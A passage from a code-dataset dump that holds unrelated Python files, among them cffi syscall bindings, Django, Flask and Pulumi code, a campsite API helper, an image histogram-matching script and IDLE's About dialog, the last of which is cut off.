ext
stringclasses
9 values
sha
stringlengths
40
40
content
stringlengths
3
1.04M
py
1a4c9ec941c92bde9c5d3ae0ab8135ec200fb270
#!/usr/bin/env python """fhandle: wrappers for the name_to_handle_at and open_by_handle_at syscalls.""" from cffi import FFI ffi = FFI() ffi.cdef(""" #define MAX_HANDLE_SZ ... #define AT_FDCWD ... #define AT_EMPTY_PATH ... #define AT_SYMLINK_FOLLOW ... struct file_handle { unsigned int handle_bytes; /* Size of f_handle [in, out] */ int handle_type; /* Handle type [out] */ //unsigned char f_handle[0]; /* File identifier (sized by caller) [out] */ unsigned char f_handle[]; /* File identifier (sized by caller) [out] */ }; int name_to_handle_at(int dirfd, const char *pathname, struct file_handle *handle, int *mount_id, int flags); int open_by_handle_at(int mount_fd, struct file_handle *handle, int flags); """) ffi.set_source("_fhandle_c", """ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> """, libraries=[]) if __name__ == "__main__": ffi.compile()
py
1a4c9f7e3a47c84f5da0dd8a60abc5c79c9e2cb0
def aumentar(_valor, _percentual, _format = True): return moeda(_valor * (1 + _percentual / 100), _format) def diminuir(_valor, _percentual, _format = True): return moeda(_valor * (1 - _percentual / 100), _format) def dobro(_valor, _format = True): return moeda(_valor * 2, _format) def metade(_valor, _format = True): return moeda(_valor / 2, _format) def moeda(_valor, _format = True): if _format: return 'R$ {:.2f}'.format(_valor).replace('.', ',') else: return _valor
py
1a4c9fa2d297d6aca4d60b254d4d3999fe862df7
import sys, os, argparse, random parser = argparse.ArgumentParser() required = parser.add_argument_group('required arguments') ## user inputs required required.add_argument('-l', '--len', help='length of random sequences', dest='length') required.add_argument('-n', '--num', help='number of random sequences', dest='number') args = parser.parse_args() k=int(args.number) l=int(args.length) dna = ["A","G","C","T"] database=[] while len(database)<k: randseq="" for i in range(0,l): randseq+=random.choice(dna) if randseq not in database: database.append(randseq) print(database)
py
1a4ca0a1af7ec9c8b480b844c0dd6f213c9c4e78
# coding: utf-8 """ OrderCloud No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: 1.0 Contact: [email protected] Generated by: https://github.com/swagger-api/swagger-codegen.git Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from __future__ import absolute_import import os import sys import unittest import OrderCloud from OrderCloud.rest import ApiException from OrderCloud.models.partial_approval_rule import PartialApprovalRule class TestPartialApprovalRule(unittest.TestCase): """ PartialApprovalRule unit test stubs """ def setUp(self): pass def tearDown(self): pass def testPartialApprovalRule(self): """ Test PartialApprovalRule """ model = OrderCloud.models.partial_approval_rule.PartialApprovalRule() if __name__ == '__main__': unittest.main()
py
1a4ca2ee0a05e7af33c8be8b7610dfb55d787093
# included code for NAF/KAF from span_data import * from external_references_data import * from term_sentiment_data import * from lxml import etree class Cterm: def __init__(self,node=None,type='NAF'): self.type = type if node is None: self.node = etree.Element('term') else: self.node = node def get_node(self): return self.node def get_id(self): if self.type == 'NAF': return self.node.get('id') elif self.type == 'KAF': return self.node.get('tid') def get_lemma(self): return self.node.get('lemma') def get_pos(self): return self.node.get('pos') def get_morphofeat(self): return self.node.get('morphofeat') def get_span(self): node_span = self.node.find('span') if node_span is not None: return Cspan(node_span) else: return None def get_sentiment(self): sent_node = self.node.find('sentiment') if sent_node is None: return None else: return Cterm_sentiment(sent_node) def add_external_reference(self,ext_ref): ext_refs_node = self.node.find('externalReferences') if ext_refs_node is None: ext_refs_obj = CexternalReferences() self.node.append(ext_refs_obj.get_node()) else: ext_refs_obj = CexternalReferences(ext_refs_node) ext_refs_obj.add_external_reference(ext_ref) def add_term_sentiment(self,term_sentiment): self.node.append(term_sentiment.get_node()) def get_external_references(self): ext_ref_node = self.node.find('externalReferences') if ext_ref_node is not None: ext_refs_obj = CexternalReferences(ext_ref_node) for ref in ext_refs_obj: yield ref class Cterms: def __init__(self,node=None,type='NAF'): self.idx = {} self.type = type if node is None: self.node = etree.Element('terms') else: self.node = node for node_term in self.__get_node_terms(): self.idx[node_term.get('id')] = node_term def get_node(self): return self.node def to_kaf(self): if self.type == 'NAF': self.type = 'KAF' for node in self.__get_node_terms(): node.set('tid',node.get('id')) del node.attrib['id'] def to_naf(self): if self.type == 'KAF': self.type = 'NAF' for node in self.__get_node_terms(): node.set('id',node.get('tid')) del node.attrib['tid'] def __get_node_terms(self): for node_term in self.node.findall('term'): yield node_term def __iter__(self): for node_term in self.__get_node_terms(): yield Cterm(node_term,self.type) def get_term(self,term_id): if term_id in self.idx: return Cterm(self.idx[term_id],self.type) else: return None def add_external_reference(self,term_id, external_ref): if term_id in self.idx: term_obj = Cterm(self.idx[term_id],self.type) term_obj.add_external_reference(external_ref) def remove_terms(self,list_term_ids): nodes_to_remove = set() for term in self: if term.get_id() in list_term_ids: nodes_to_remove.add(term.get_node()) #For removing the previous comment prv = term.get_node().getprevious() if prv is not None: nodes_to_remove.add(prv) for node in nodes_to_remove: self.node.remove(node)
py
1a4ca2f2f73c0422578d74148f1c415217e3ac87
from django.core.management.base import BaseCommand from ...models import MultisigConfirmation, MultisigTransaction class Command(BaseCommand): help = "Binds confirmations with multisig txs" def add_arguments(self, parser): # Positional arguments # parser.add_argument('--deployer-key', help='Private key for deployer') pass def handle(self, *args, **options): for multisig_confirmation in MultisigConfirmation.objects.without_transaction(): try: tx = MultisigTransaction.objects.get( safe_tx_hash=multisig_confirmation.multisig_transaction_hash ) multisig_confirmation.multisig_transaction = tx multisig_confirmation.save(update_fields=["multisig_transaction"]) self.stdout.write( self.style.SUCCESS( f"Bind confirmation with multisig tx={tx.safe_tx_hash}" ) ) except MultisigTransaction.DoesNotExist: pass
py
1a4ca3a5c4f677d53f919cf4891078eafb8940fa
class Jet: def __init__( self, progenitor=None, constituents=None, mass=None, pt=None, eta=None, phi=None, y=None, tree=None, root_id=None, tree_content=None, **kwargs ): self.constituents = constituents self.mass = mass self.pt = pt self.eta = eta self.phi = phi self.y = y self.progenitor = progenitor self.tree = tree self.root_id = root_id self.tree_content = tree_content def __len__(self): return len(self.constituents) class QuarkGluonJet(Jet): def __init__(self, photon_pt=None, photon_eta=None, photon_phi=None, env=None, **kwargs): self.photon_pt = photon_pt self.photon_eta = photon_eta self.photon_phi = photon_phi self.env = env super().__init__(**kwargs)
py
1a4ca476049cc3ce478c267405050b1259236b34
# coding: UTF-8 from flask import request from flask_restful import Resource from flask_jwt_extended import (jwt_required) from ...utils.utils import get_res_data import os from werkzeug import secure_filename # from ...services import GoogleCloudStorage class UserProjectAssetsResource(Resource): @jwt_required def get(self, project_id): pass # gcs = GoogleCloudStorage() # list = gcs.get_list() # return get_res_data(data=list), 200 @jwt_required def post(self, project_id): # file = request.files['file'] # if file: # filename = secure_filename(file.filename) # file.save(os.path.join('src/assets/uploadfile', filename)) # gcs = GoogleCloudStorage() # gcs.upload(filename, os.path.join('src/assets/uploadfile', filename)) # list = gcs.get_list() # return get_res_data(rmg="アップロード成功しました", data=list), 200 return get_res_data(rmg="ファイルの形式が不正です。"), 200
py
1a4ca47ce38b1d1c5c6b4b704d83bca554bca9e6
# USAGE # python match_histograms.py --source empire_state_cloudy.png --reference empire_state_sunset.png # import the necessary packages from skimage import exposure import matplotlib.pyplot as plt import argparse import cv2 # construct the argument parser and parse the arguments ap = argparse.ArgumentParser() ap.add_argument("-s", "--source", required=True, help="path to the input source image") ap.add_argument("-r", "--reference", required=True, help="path to the input reference image") args = vars(ap.parse_args()) # load the source and reference images print("[INFO] loading source and reference images...") src = cv2.imread(args["source"]) ref = cv2.imread(args["reference"]) # determine if we are performing multichannel histogram matching # and then perform histogram matching itself print("[INFO] performing histogram matching...") multi = True if src.shape[-1] > 1 else False #matched = exposure.match_histograms(src, ref, channel_axis=2, multichannel=multi) matched = exposure.match_histograms(src, ref, multichannel=multi) # show the output images cv2.imshow("Source", src) cv2.imshow("Reference", ref) cv2.imshow("Matched", matched) cv2.waitKey(0) # construct a figure to display the histogram plots for each channel # before and after histogram matching was applied (fig, axs) = plt.subplots(nrows=3, ncols=3, figsize=(8, 8)) # loop over our source image, reference image, and output matched # image for (i, image) in enumerate((src, ref, matched)): # convert the image from BGR to RGB channel ordering image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) # loop over the names of the channels in RGB order for (j, color) in enumerate(("red", "green", "blue")): # compute a histogram for the current channel and plot it (hist, bins) = exposure.histogram(image[..., j], source_range="dtype") axs[j, i].plot(bins, hist / hist.max()) # compute the cumulative distribution function for the # current channel and plot it (cdf, bins) = exposure.cumulative_distribution(image[..., j]) axs[j, i].plot(bins, cdf) # set the y-axis label of the current plot to be the name # of the current color channel axs[j, 0].set_ylabel(color) # set the axes titles axs[0, 0].set_title("Source") axs[0, 1].set_title("Reference") axs[0, 2].set_title("Matched") # display the output plots plt.tight_layout() plt.show()
py
1a4ca59441226af855315fa4b97cfbb58925f885
from datetime import date from itertools import groupby from json import dumps from ._requests import get_session class Campsite(dict): """Describes a campsite object from recreation.gov """ @property def id(self): return self['CampsiteID'] @property def name(self): return self['CampsiteName'] @property def site_type(self): return self['CampsiteType'] @property def loop(self): return self['Loop'] @property def attributes(self): return {x['AttributeName']: x['AttributeValue'] for x in self['ATTRIBUTES']} @property def availabilities(self): avail = [date.fromisoformat(k[:10]) for k, v in self.get('availabilities', dict()).items() if v == "Available"] # Consolidate to ranges of dates. Adapted from # See https://docs.python.org/2.6/library/itertools.html#examples def delta(ndx): return ndx[0] - ndx[1].toordinal() consecutive_days = [[x[1] for x in g] for k, g in groupby(enumerate(avail), delta)] def cleanup_sets(dayset: list) -> str: if len(dayset) == 1: return dayset[0].isoformat() return dayset[0].isoformat() + " to " + dayset[-1].isoformat() return [cleanup_sets(x) for x in consecutive_days] @property def available_nights(self) -> int: """Returns the number of available nights :return: Number of nights available :rtype: int """ avail = [x for x in self.get( 'availabilities').values() if x == "Available"] if avail is not None: return len(avail) @property def permitted_equipment_lengths(self): return {x['EquipmentName']: x['MaxLength'] for x in self['PERMITTEDEQUIPMENT']} def supports_equipment(self, equipment_name: str, equipment_length: float) -> bool: max_length = self.permitted_equipment_lengths.get(equipment_name, -1) return max_length >= equipment_length def __repr__(self): availabilities = f" availabilities={dumps(self.availabilities)} " return f"<campsite id={dumps(self.id)} name={dumps(self.name)} " + \ f"type={dumps(self.site_type)} " + \ f"facility={dumps(self['FacilityID'])} " + \ f"loop={dumps(self.loop)} {availabilities}/>" @property def site_url(self): return f"https://www.recreation.gov/camping/campsites/{self.id}" def __gt__(self, other: "Campsite") -> bool: return self.loop+self.name > other.loop+other.name def __lt__(self, other: "Campsite") -> bool: return self.loop+self.name < other.loop+other.name class CampsiteSet(dict): """A set of Campsite objects indexed on their site id. """ def ingest_availability(self, availability: dict) -> None: """ingests availability data to the campsites. :param availability: availability date from the month endpoint. :type availability: dict """ for k, v in availability.items(): if k in self: self[k]['availabilities'] = v['availabilities'] @staticmethod def from_list(campsites: list) -> 'CampsiteSet': """Geerates a CampsiteSet from a list. :return: [description] :rtype: [type] """ return CampsiteSet({x['CampsiteID']: Campsite(x) for x in campsites}) def filter_by_equipment(self, equipment_name: str, equipment_length: float) -> 'CampsiteSet': """Returns a smaller CampsiteSet that supports the given equipment. :return: the filtered set of campsites based on the specified equipment :rtype: CampsiteSet """ return CampsiteSet({x['CampsiteID']: Campsite(x) for x in self.values() if x.supports_equipment(equipment_name, equipment_length) }) @property def unique_campsite_types(self): return set([x['CampsiteType'] for x in self.values()]) def filter_by_campsite_type(self, *types) -> 'CampsiteSet': """Returns a smaller set filtered by the campsite type(s) :param types: a list, tuple, or set of types :return: The filtered set :rtype: CampsiteSet """ return CampsiteSet({x['CampsiteID']: Campsite(x) for x in self.values() if x['CampsiteType'] in types}) def exclude_by_campsite_type(self, *types) -> 'CampsiteSet': """Returns a smaller set by excluding by the given campsite type(s) :param types: a list, tuple, or set of types :return: The filtered set :rtype: CampsiteSet """ return CampsiteSet({x['CampsiteID']: Campsite(x) for x in self.values() if x['CampsiteType'] not in types}) def apply_filters(self, filters: dict) -> 'CampsiteSet': result = self for filter, params in filters.items(): if not hasattr(self, filter): raise ValueError(f"Unknown filter, {filter}") result = getattr(result, filter)( *params.get('args', []), **params.get('kwargs', {})) return CampsiteSet(result) def with_availability(self) -> 'CampsiteSet': return CampsiteSet({k: v for k, v in self.items() if v.available_nights > 0}) def get_campsites(asset: int, apikey=None) -> CampsiteSet: """Gets a CampsiteSet for the given asset. :param asset: the asset id from recreation.gov :type asset: int :param apikey: An API Key if you haven't set the environment variable :type apikey: str :return: a CampsiteSet you can filter. :rtype: CampsiteSet """ sess = get_session(apikey=apikey) resp = sess.get_record_iterator( f"https://ridb.recreation.gov/api/v1/facilities/{asset}/campsites") return CampsiteSet({x['CampsiteID']: Campsite(x) for x in resp})
py
1a4ca59e0719bfe74740dd59dd2ab66c5f57d80f
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables from . import outputs from ._enums import * from ._inputs import * __all__ = ['PublicIPAddress'] class PublicIPAddress(pulumi.CustomResource): def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, dns_settings: Optional[pulumi.Input[pulumi.InputType['PublicIPAddressDnsSettingsArgs']]] = None, etag: Optional[pulumi.Input[str]] = None, id: Optional[pulumi.Input[str]] = None, idle_timeout_in_minutes: Optional[pulumi.Input[int]] = None, ip_address: Optional[pulumi.Input[str]] = None, ip_configuration: Optional[pulumi.Input[pulumi.InputType['IPConfigurationArgs']]] = None, location: Optional[pulumi.Input[str]] = None, provisioning_state: Optional[pulumi.Input[str]] = None, public_ip_allocation_method: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]] = None, public_ip_address_name: Optional[pulumi.Input[str]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, resource_guid: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, __props__=None, __name__=None, __opts__=None): """ Public IP address resource. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[pulumi.InputType['PublicIPAddressDnsSettingsArgs']] dns_settings: The FQDN of the DNS record associated with the public IP address. :param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated. :param pulumi.Input[str] id: Resource Identifier. :param pulumi.Input[int] idle_timeout_in_minutes: The idle timeout of the public IP address. :param pulumi.Input[pulumi.InputType['IPConfigurationArgs']] ip_configuration: IPConfiguration :param pulumi.Input[str] location: Resource location. :param pulumi.Input[str] provisioning_state: The provisioning state of the PublicIP resource. Possible values are: 'Updating', 'Deleting', and 'Failed'. :param pulumi.Input[Union[str, 'IPAllocationMethod']] public_ip_allocation_method: The public IP allocation method. Possible values are: 'Static' and 'Dynamic'. :param pulumi.Input[str] public_ip_address_name: The name of the public IP address. :param pulumi.Input[str] resource_group_name: The name of the resource group. :param pulumi.Input[str] resource_guid: The resource GUID property of the public IP resource. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags. """ if __name__ is not None: warnings.warn("explicit use of __name__ is deprecated", DeprecationWarning) resource_name = __name__ if __opts__ is not None: warnings.warn("explicit use of __opts__ is deprecated, use 'opts' instead", DeprecationWarning) opts = __opts__ if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = dict() __props__['dns_settings'] = dns_settings __props__['etag'] = etag __props__['id'] = id __props__['idle_timeout_in_minutes'] = idle_timeout_in_minutes __props__['ip_address'] = ip_address __props__['ip_configuration'] = ip_configuration __props__['location'] = location __props__['provisioning_state'] = provisioning_state __props__['public_ip_allocation_method'] = public_ip_allocation_method __props__['public_ip_address_name'] = public_ip_address_name if resource_group_name is None and not opts.urn: raise TypeError("Missing required property 'resource_group_name'") __props__['resource_group_name'] = resource_group_name __props__['resource_guid'] = resource_guid __props__['tags'] = tags __props__['name'] = None __props__['type'] = None alias_opts = pulumi.ResourceOptions(aliases=[pulumi.Alias(type_="azure-nextgen:network/v20150615:PublicIPAddress"), pulumi.Alias(type_="azure-native:network:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/latest:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/latest:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20150501preview:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20150501preview:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20160330:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20160330:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20160601:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20160601:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20160901:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20160901:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20161201:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20161201:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20170301:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20170301:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20170601:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20170601:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20170801:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20170801:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20170901:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20170901:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20171001:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20171001:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20171101:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20171101:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20180101:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20180101:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20180201:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20180201:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20180401:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20180401:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20180601:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20180601:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20180701:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20180701:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20180801:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20180801:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20181001:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20181001:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20181101:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20181101:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20181201:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20181201:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20190201:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20190201:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20190401:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20190401:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20190601:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20190601:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20190701:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20190701:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20190801:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20190801:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20190901:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20190901:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20191101:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20191101:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20191201:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20191201:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20200301:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20200301:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20200401:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20200401:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20200501:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20200501:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20200601:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20200601:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20200701:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20200701:PublicIPAddress"), pulumi.Alias(type_="azure-native:network/v20200801:PublicIPAddress"), pulumi.Alias(type_="azure-nextgen:network/v20200801:PublicIPAddress")]) opts = pulumi.ResourceOptions.merge(opts, alias_opts) super(PublicIPAddress, __self__).__init__( 'azure-native:network/v20150615:PublicIPAddress', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None) -> 'PublicIPAddress': """ Get an existing PublicIPAddress resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = dict() __props__["dns_settings"] = None __props__["etag"] = None __props__["idle_timeout_in_minutes"] = None __props__["ip_address"] = None __props__["ip_configuration"] = None __props__["location"] = None __props__["name"] = None __props__["provisioning_state"] = None __props__["public_ip_allocation_method"] = None __props__["resource_guid"] = None __props__["tags"] = None __props__["type"] = None return PublicIPAddress(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="dnsSettings") def dns_settings(self) -> pulumi.Output[Optional['outputs.PublicIPAddressDnsSettingsResponse']]: """ The FQDN of the DNS record associated with the public IP address. """ return pulumi.get(self, "dns_settings") @property @pulumi.getter def etag(self) -> pulumi.Output[Optional[str]]: """ A unique read-only string that changes whenever the resource is updated. """ return pulumi.get(self, "etag") @property @pulumi.getter(name="idleTimeoutInMinutes") def idle_timeout_in_minutes(self) -> pulumi.Output[Optional[int]]: """ The idle timeout of the public IP address. """ return pulumi.get(self, "idle_timeout_in_minutes") @property @pulumi.getter(name="ipAddress") def ip_address(self) -> pulumi.Output[Optional[str]]: return pulumi.get(self, "ip_address") @property @pulumi.getter(name="ipConfiguration") def ip_configuration(self) -> pulumi.Output[Optional['outputs.IPConfigurationResponse']]: """ IPConfiguration """ return pulumi.get(self, "ip_configuration") @property @pulumi.getter def location(self) -> pulumi.Output[Optional[str]]: """ Resource location. """ return pulumi.get(self, "location") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ Resource name. """ return pulumi.get(self, "name") @property @pulumi.getter(name="provisioningState") def provisioning_state(self) -> pulumi.Output[Optional[str]]: """ The provisioning state of the PublicIP resource. Possible values are: 'Updating', 'Deleting', and 'Failed'. """ return pulumi.get(self, "provisioning_state") @property @pulumi.getter(name="publicIPAllocationMethod") def public_ip_allocation_method(self) -> pulumi.Output[Optional[str]]: """ The public IP allocation method. Possible values are: 'Static' and 'Dynamic'. """ return pulumi.get(self, "public_ip_allocation_method") @property @pulumi.getter(name="resourceGuid") def resource_guid(self) -> pulumi.Output[Optional[str]]: """ The resource GUID property of the public IP resource. """ return pulumi.get(self, "resource_guid") @property @pulumi.getter def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]: """ Resource tags. """ return pulumi.get(self, "tags") @property @pulumi.getter def type(self) -> pulumi.Output[str]: """ Resource type. """ return pulumi.get(self, "type") def translate_output_property(self, prop): return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop def translate_input_property(self, prop): return _tables.SNAKE_TO_CAMEL_CASE_TABLE.get(prop) or prop
py
1a4ca6b4550841596eb25eb33ad22fb1191fd8d9
"""About Dialog for IDLE """ import os import sys from platform import python_version, architecture from tkinter import Toplevel, Frame, Label, Button, PhotoImage from tkinter import SUNKEN, TOP, BOTTOM, LEFT, X, BOTH, W, EW, NSEW, E from idlelib import textview def build_bits(): "Return bits for platform." if sys.platform == 'darwin': return '64' if sys.maxsize > 2**32 else '32' else: return architecture()[0][:2] class AboutDialog(Toplevel): """Modal about dialog for idle """ def __init__(self, parent, title=None, *, _htest=False, _utest=False): """Create popup, do not return until tk widget destroyed. parent - parent of this dialog title - string which is title of popup dialog _htest - bool, change box location when running htest _utest - bool, don't wait_window when running unittest """ Toplevel.__init__(self, parent) self.configure(borderwidth=5) # place dialog below parent if running htest self.geometry("+%d+%d" % ( parent.winfo_rootx()+30, parent.winfo_rooty()+(30 if not _htest else 100))) self.bg = "#bbbbbb" self.fg = "#000000" self.create_widgets() self.resizable(height=False, width=False) self.title(title or f'About IDLE {python_version()} ({build_bits()} bit)') self.transient(parent) self.grab_set() self.protocol("WM_DELETE_WINDOW", self.ok) self.parent = parent self.button_ok.focus_set() self.bind('<Return>', self.ok) # dismiss dialog self.bind('<Escape>', self.ok) # dismiss dialog self._current_textview = None self._utest = _utest if not _utest: self.deiconify() self.wait_window() def create_widgets(self): frame = Frame(self, borderwidth=2, relief=SUNKEN) frame_buttons = Frame(self) frame_buttons.pack(side=BOTTOM, fill=X) frame.pack(side=TOP, expand=True, fill=BOTH) self.button_ok = Button(frame_buttons, text='Close', command=self.ok) self.button_ok.pack(padx=5, pady=5) frame_background = Frame(frame, bg=self.bg) frame_background.pack(expand=True, fill=BOTH) header = Label(frame_background, text='IDLE', fg=self.fg, bg=self.bg, font=('courier', 24, 'bold')) header.grid(row=0, column=0, sticky=E, padx=10, pady=10) tk_patchlevel = self.tk.call('info', 'patchlevel') ext = '.png' if tk_patchlevel >= '8.6' else '.gif' icon = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'Icons', f'idle_48{ext}') self.icon_image = PhotoImage(master=self._root(), file=icon) logo = Label(frame_background, image=self.icon_image, bg=self.bg) logo.grid(row=0, column=0, sticky=W, rowspan=2, padx=10, pady=10) byline_text = "Python's Integrated Development\nand Learning Environment" + 5*'\n' byline = Label(frame_background, text=byline_text, justify=LEFT, fg=self.fg, bg=self.bg) byline.grid(row=2, column=0, sticky=W, columnspan=3, padx=10, pady=5) email = Label(frame_background, text='email: [email protected]', justify=LEFT, fg=self.fg, bg=self.bg) email.grid(row=6, column=0, columnspan=2, sticky=W, padx=10, pady=0) docs = Label(frame_background, text='https://docs.python.org/' + python_version()[:3] + '/library/idle.html', justify=LEFT, fg=self.fg, bg=self.bg) docs.grid(row=7, column=0, columnspan=2, sticky=W, padx=10, pady=0) Frame(frame_background, borderwidth=1, relief=SUNKEN, height=2, bg=self.bg).grid(row=8, column=0, sticky=EW, columnspan=3, padx=5, pady=5) pyver = Label(frame_background, text='Python version: ' + python_version(), fg=self.fg, bg=self.bg) pyver.grid(row=9, column=0, sticky=W, padx=10, pady=0) tkver = Label(frame_background, text='Tk version: ' + tk_patchlevel, fg=self.fg, bg=self.bg) tkver.grid(row=9, column=1, sticky=W, padx=2, pady=0) py_buttons = Frame(frame_background, bg=self.bg) py_buttons.grid(row=10, column=0, columnspan=2, sticky=NSEW) self.py_license = Button(py_buttons, text='License', width=8, highlightbackground=self.bg, command=self.show_py_license) self.py_license.pack(side=LEFT, padx=10, pady=10) self.py_copyright = Button(py_buttons, text='Copyright', width=8, highlightbackground=self.bg, command=self.show_py_copyright) self.py_copyright.pack(side=LEFT, padx=10, pady=10) self.py_credits = Button(py_buttons, text='Credits', width=8, highlightbackground=self.bg, command=self.show_py_credits) self.py_credits.pack(side=LEFT, padx=10, pady=10) Frame(frame_background, borderwidth=1, relief=SUNKEN, height=2, bg=self.bg).grid(row=11, column=0, sticky=EW, columnspan=3, padx=5, pady=5) idlever = Label(frame_background, text='IDLE version: ' + python_version(), fg=self.fg, bg=self.bg) idlever.grid(row=12, column=0, sticky=W, padx=10, pady=0) idle_buttons = Frame(frame_background, bg=self.bg) idle_buttons.grid(row=13, column=0, columnspan=3, sticky=NSEW) self.readme = Button(idle_buttons, text='README', width=8, highlightbackground=self.bg, command=self.show_readme) self.readme.pack(side=LEFT, padx=10, pady=10) self.idle_news = Button(idle_buttons, text='NEWS', width=8, highlightbackground=self.bg, command=self.show_idle_news) self.idle_news.pack(side=LEFT, padx=10, pady=10) self.idle_credits = Button(idle_buttons, text='Credits', width=8, highlightbackground=self.bg, command=self.show_idle_credits) self.idle_credits.pack(side=LEFT, padx=10, pady=10) # License, copyright, and credits are of type _sitebuiltins._Printer def show_py_license(self): "Handle License button event." self.display_printer_text('About - License', license) def show_py_copyright(self): "Handle Copyright button event." self.display_printer_text('About - Copyright', copyright) def show_py_credits(self): "Handle Python Credits button event." self.display_printer_text('About - Python Credits', credits) # Encode CREDITS.txt to utf-8 for proper version of Loewis. 